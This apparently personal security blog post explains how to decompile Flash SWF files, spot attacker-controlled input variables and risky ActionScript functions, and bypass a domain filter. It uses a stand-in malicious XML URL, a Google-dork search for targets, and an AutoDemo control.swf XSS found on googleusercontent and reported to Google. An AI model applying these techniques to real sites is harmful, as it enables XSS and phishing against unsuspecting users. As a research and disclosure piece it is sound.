This type of attack has been around for years, I'd never played with it myself so decided to look into it further. First up, what is an SWF? From Wikipedia:
SWF is an Adobe Flash file format used for multimedia, vector graphics and ActionScript. SWF files can contain animations or applets of varying degrees of interactivity and function.
If these files can contain ActionScript, then that means there's going to be input/output and potential vulnerabilities! And for media/graphics teams and companies whose focus is producing content security is really not going to be a priority. Good news for us but bad news for anyone hosting SWFs.
For an introduction to exploiting SWFs check out the OWASP site:
The cool thing with these files is they can be decompiled with relative ease allowing you to perform static analysis. By locating the input variables and the functions that use these variables you can sometimes spot potential vulnerabilities.
So first up you need a decompiler, I found ASdec to be quick and effective, SWFScan is also a good choice especially because it has a built in vulnerability scanner which can speed things up.
Next find yourself an SWF. The easiest way is to Google "filetype:swf", open any link and in Chrome go to Options -> Save Page As. Now you can open the SWF in ASdec, SWFscan, or both, I found ASdec easier to follow, but as already mentioned the vulnerability scanning feature of SWFscan is pretty handy. So to start off I'd run a quick scan in SWFscan (the Analyze button). If you get lucky you might find a potential XSS/CSRF. Take a look at the "Source" tab, this should have the vulnerable code highlighted.
There are two things you should try to look for, the first is input variables or undeclared global variables, these are denoted by _global, _root or _level0. These are variables we may be able to control and potentially use to exploit the SWF. The second thing to look for are interesting functions that use these variables. The OWASP site has a good list of functions to look out for:
loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load LoadVars.send XML.load ( 'url' ) LoadVars.load ( 'url' ) Sound.loadSound( 'url' , isStreaming ); NetStream.play( 'url' ); flash.external.ExternalInterface.call(_root.callback) htmlText
Next you'll need to verify how the variable is being used and if it's actually possible to take control of the function. Sometimes you won't be able to control the input value or there may be filtering in place. This is where static code analysis comes in. As each SWF is different there is no fixed method for this but I'll cover some examples below.
Example 1 - XML function with filtering (see code below)
In this first example you can see how the program accepts an XML path as input and performs some checking to prevent us from using a remote resource (such as our own malicious xml file!). The legitimate URL was something like http://test.com/test.swf?xmlPath=/files/test.xml. We want to change it to http://test.com/test.swf?xmlPath=http://mybadsite.com/evil.xml, however in this example it's not possible due to input validation.
The first thing to take note of is the call to our input data (path=_root.xmlPath) and it's subsequent use by the XML object (myXML.load(path)). At first glance this looks quite promising. However you'll notice that before myXML.load is performed our path variable is checked using the isDomainEnabled function...
The isDomainEnabled function first checks for the existence of www or http:// (indexOf returns -1 if something doesn't exist). Then checks if our domain is included in the domain list. I've blacked it out to protect the companies identity but the black spots are just a.com, b.com etc. So if we try to call our remote domain we end up stuck in the while loop uh oh!
So how can we get around this filter? Encoding is an obvious choice or how about using just https:// instead of http:// ? :)
Example 2 - Regex filtering
Example 3 - ExternalInterface Call
There's a good example of how unfiltered inputs can be abused using ExternalInterface.call at the below link:
Does anyone actually use vulnerable SWFs?
After doing all this analysis I thought I'd take a look at a few sites to see if they were hosting any vulnerable SWFs as this could lead to XSS/CSRF.
Google was hosting hardly any SWFs so I checked each one in turn. When running one file in particular it had a user interface that listed AutoDemo as it's creator. Googling AutoDemo and XSS I discovered that there was a file called control.swf that is used by AutoDemo files and its vulnerable to XSS. It hadn't shown up in the original search results but it was there and it was exploitable :)
There is one caveat to this story though. The file was not hosted on one of the core Google domains, it's actually hosted on the sand-boxed cache, "googleusercontent". So sadly it wasn't possible to steal any data using XSS. However it would be possible to use this for phishing and as it is based in the Google family it should still be effective at enticing users to click it.
This was the first file I found:
Here's the proof of concept XSS involving the control file.
I contacted Google about this issue, they said they didn't regard this as a serious security risk as user data cannot be compromised and the risk of phishing is minimal. For example, there's nothing stopping someone from registering a domain called gmail.loginpage.com that would be far more effective for phishing. So should all vulnerabilities found in the Google cache be classified as low risk?
It's an interesting question, does the Google cache offer a unique attack vector? Maybe I'll save this for another blog post ;) If anyone has any ideas or comments feel free to leave a message below.